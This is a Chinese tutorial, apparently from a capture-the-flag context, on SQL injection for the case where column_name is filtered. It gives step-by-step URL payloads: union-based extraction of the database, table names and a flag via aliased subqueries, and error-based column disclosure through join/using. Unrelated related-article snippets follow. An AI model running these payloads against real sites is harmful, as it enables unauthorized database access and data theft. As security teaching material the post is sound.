【未知列名注入】

news2024/11/25 21:14:58

简介

在sql注入中,如果服务器过滤了column_name阻止我们获取列名,我们该如何绕过

一、union 绕过

使用union构造多个表,把数据表和构造的123表连接起来,我们看一下构造过程:
请添加图片描述

请添加图片描述

查询user表数据
select * from user;

Union联合查询,把两个表合在一起
select * from user where id=1 union select 1,2,3;

交换union查询语句的前后顺序,替换列名
select 1,2,3 union select * from user;
子查询
select * from (select 1,2,3 union select * from user)a;

现在就已经构造了一个表,并且有一个别名a,

查询a表的第二列,现在我们没有使用username列,就已经查询到了username列的内容
select a.2 from (select 1,2,3 union select * from user)a;
测试数字型还是字符型sql注入

id=1 输出admin

id=2 输出guest

id=1 and 1%23

页面有三种回显,并且有两种回显是根据id参数来的,那么可以猜测,服务器上是有回显位的,所以可以用union联合查询注入

测试列数
id=1 order by 3%23

测试回显位
id=-1 union select 1,2,3%23

拿库名
id=-1 union select 1,database(),3%23

拿表名
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23

拿列名
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23
被过滤,采用union构造的方式绕过

拿flag
id=1 union select 1,a.2,3 from (select 1,2 union select * from flag)a limit 2,1%23

二、using 绕过

using可以根据指定的列名,把多个表连接起来,我们先复习一下join
请添加图片描述

请添加图片描述

请添加图片描述
我们再看一个例子:
请添加图片描述
在上面报错的基础上,我们加上using(Id)把我们的id列给合并了,合并id后就不会报错id的错误了:

爆第二个列
select * from (select * from user as a join user as b using(id))c;

id列合并一起后,username依旧的重复的,那么会接着报下一个列的错误
请添加图片描述
第三个列同理,我们把报出的已知列继续加入using合并,那么就会继续爆出下一个列的错误:

第三个列
select * from (select * from user as a join user as b using(id,username))c;

请添加图片描述

练习join on
select * from user join flag;
select * from user join flag on user.id=flag.id;

练习using
select * from user join flag using(id);

练习子查询
select * from (select 1,1)a;

payload构造练习
连接user表,构造相同的列
select * from user as a join user as b;
在使用别名查询一次,就可以报错
select * from (select * from user as a join user as b)c;
爆第二个列
select * from (select * from user as a join user as b using(id))c;
第三个列
select * from (select * from user as a join user as b using(id,username))c;

三、总结

已经拿到库名,表名;在拿列名的时间,column_name或者columns被过滤,不能适用columns表来拿到列名。当然在column_name,columns等没有被过滤的情况下,也可以适用,只不过稍微麻烦点

Union 主要适用于有回显位的情况,

Using适用于报错的情况,因为using是通过报错信息,把列名信息带出来的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2212010.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于协同过滤的景区旅游可视化与景区推荐系统(自动爬虫,地点可换)

文章目录 有需要本项目的代码或文档以及全部资源,或者部署调试可以私信博主项目介绍过程展示项目移植每文一语 有需要本项目的代码或文档以及全部资源,或者部署调试可以私信博主 项目介绍 本项目是一个综合性的旅游景区数据管理与分析推荐系统,集成了用…

Qt:设置程序图标与主窗口背景图片

目录 设置程序图标: 设置主窗口背景图片: 设置程序图标: 在设置图标之前先准备一张ico图标,没有ico图标的可以准备一张图片,然后找一个在线的ico转换网站去转换一张ico文件出来。 然后打开项目文件所在的文件夹&am…

C语言 | Leetcode C语言题解之第467题环绕字符串中唯一的子字符串

题目&#xff1a; 题解&#xff1a; #define MAX(a, b) ((a) > (b) ? (a) : (b))int findSubstringInWraproundString(char * p) {int dp[26];int len strlen(p);memset(dp, 0, sizeof(dp));int k 0;for (int i 0; i < len; i) {if (i && (p[i] - p[i - 1] …

Spark高级用法-数据源的读取与写入

目录 数据读取 数据写入 总结 数据读取 读文件 read.json read.csv csv文件有两个部分构成 头部数据&#xff0c;也就是字段数据&#xff0c;行数数据 read.orc 读数据库 read.jdbc(jdbc连接地址,table表名,properties{user用户名,password密码,driver驱动信息}) 缺少连…

机器学习基础概念(3)

小小考一下大家前两节的内容(坏笑) 我们如何评判一个机器学习模型的性能呢&#xff1f; 通常是判断它的泛化能力&#xff08;对于未知数据的处理能力&#xff09; 那么对于泛化能力是否有一个标准&#xff0c;比如在未知的1万个数据中&#xff0c;泛化能力 模型一90% >…

【分布式事务-02】分布式事务seata的安装下载与环境搭建

redis系列整体栏目 内容链接地址【一】分布式事务之2pc两阶段提交https://zhenghuisheng.blog.csdn.net/article/details/142406325【一】分布式事务seata的安装下载与环境搭建https://zhenghuisheng.blog.csdn.net/article/details/142893117 分布式事务seata的安装下载与环境…

java服务器技术

1. Java EE&#xff08;Java Enterprise Edition&#xff09; Java EE是一套为企业级应用提供的完整解决方案&#xff0c;它包括了Java Servlet、JSP&#xff08;JavaServer Pages&#xff09;、EJB&#xff08;Enterprise JavaBeans&#xff09;、JPA&#xff08;Java Persist…

【风力发电】基于模糊逻辑控制的风电系统MPPT

摘要 本文基于模糊逻辑控制 (Fuzzy Logic Control, FLC) 实现了风力发电系统的最大功率点追踪 (MPPT)。FLC 由于其不依赖于精确数学模型的特点&#xff0c;能够有效应对风速变化导致的非线性和不确定性问题。通过对风速和功率的模糊化处理&#xff0c;该方法提高了风电系统的功…

ros1:使用C++编写ros程序,获取IMU数据,使用gazebo仿真

cd catkin_ws/src/catkin_create_pkg imu_pkg roscpp rospy sensor_msgs在src目录下创建&#xff0c;imu_node.cpp #include "ros/ros.h" #include "sensor_msgs/Imu.h" #include "tf/tf.h"void IMUCallback(sensor_msgs::Imu msg){if(msg.orien…

深兰科技|“武汉市AI心理热线医工交叉研发合作基地”正式揭牌

2024年10月10日是第33个世界精神卫生日&#xff0c;以“共建共治共享&#xff0c;同心健心安心“为主题的武汉市2024年世界精神卫生日主题活动暨第三届武汉青年心理情景剧展演闭幕式&#xff0c;在武汉隆重举行。期间&#xff0c;还举行了武汉市精神卫生中心与深兰科技(武汉)公…

Video-LLaMA部署

Video-LLaMA: An Instruction-tuned Audio-Visual Language Model for Video Understanding

计组_输入输出系统

2024.08.05&#xff1a;计算机组成原理输入输出学习笔记 第25节 输入输出系统 5.1 IO基本职能5.2 IO接口的通用结构5.3 IO数据传送控制方式5.3.1 程序直接控制&#xff08;程序查询控制&#xff09;&#xff08;1&#xff09;独占查询&#xff08;2&#xff09;定时查询 5.3.2 …

衡石分析平台---分析人员手册

分析人员是 HENGSHI SENSE 系统最主要的用户。在企业内部&#xff0c;他们应该是了解相关业务&#xff0c;需要在纷繁复杂的数据中发现数据规律的人。 从岗位上来说&#xff0c;他们可能来自运营部门&#xff0c;需要从日常运营数据中发现用户的使用规律&#xff1b;可能来自销…

【element-tiptap】如何引进系统中的字体?

源码地址&#xff1a; https://github.com/Leecason/element-tiptap 源码中给出的字体如下 可以看到&#xff0c;咱们日常需要的黑体、微软雅黑等都没有&#xff0c;所以这篇文章来探索一下怎么加字体。 另外呢&#xff0c;肯定有小伙伴发现&#xff0c;这个按钮点击的时候&am…

ssm资产管理信息系统+vue

系统包含&#xff1a;源码论文 所用技术&#xff1a;SpringBootVueSSMMybatisMysql 免费提供给大家参考或者学习&#xff0c;获取源码请私聊我 需要定制请私聊 目录 摘要 I Abstract II 1 绪论 - 1 - 1.1 研究背景与意义 - 1 - 1.1.1 研究背景 - 1 - 1.1.2 研究意义 …

jQuery——区别onload和ready

区别&#xff1a;window.onload 与 $&#xff08;document&#xff09;. ready&#xff08;&#xff09; window.onload 包括页面的图片加载完后才会回调&#xff08;晚&#xff09;只能有一个监听回调 $&#xff08;document&#xff09;. ready&#xff08;&#xff09; 等同…

echarts图例右侧竖向排列

实操链接戳这里哈 left代表图例在水平放置的位置&#xff0c;有left、center、right top代表图例在垂直方向的位置&#xff0c;有top、middle、bottom width是最主要的&#xff0c;当设置的宽度比较小时&#xff0c;才会迫使图例换行&#xff0c;从而形成竖直排列的现像。 lege…

MySQL:小练习

安装MySQL并且创建库和表 一&#xff0c; windows采用zip安装MySQL1. 卸载已有的MySQL2. 下载zip格式3. 解压缩4. 配置环境变量5. 创建配置文件6. 初始化mysql服务 二&#xff0c; 新建产品库mydb6_product&#xff0c;新建三张表 一&#xff0c; windows采用zip安装MySQL 1. …

【conda】创建、激活、删除虚拟环境

前言一、创建虚拟环境二、删除虚拟环境总结 前言 主要是记录一下步骤 一、创建虚拟环境 地址栏输入cmd&#xff0c;唤起命令符栏目&#xff0c;就可以在指定目录下创建虚拟环境了。 这样方便日后在pycharm直接配置虚拟环境。 conda create -n yolo5-lite python3.9 -y简单来说…

书店仓库管理系统 (论文+源码)-kaic

摘 要 仓库是储存货物的核心&#xff0c;是现代社会物质生产的必要条件。为了保障货物的 质量和准备货物进入市场的工作&#xff0c;一个良好的仓库布局环境尤为重要。例如书店仓库管理中的功能分区不够清晰、书本摆放混乱、通道设计不合理等。因此&#xff0c;我们需要对这些…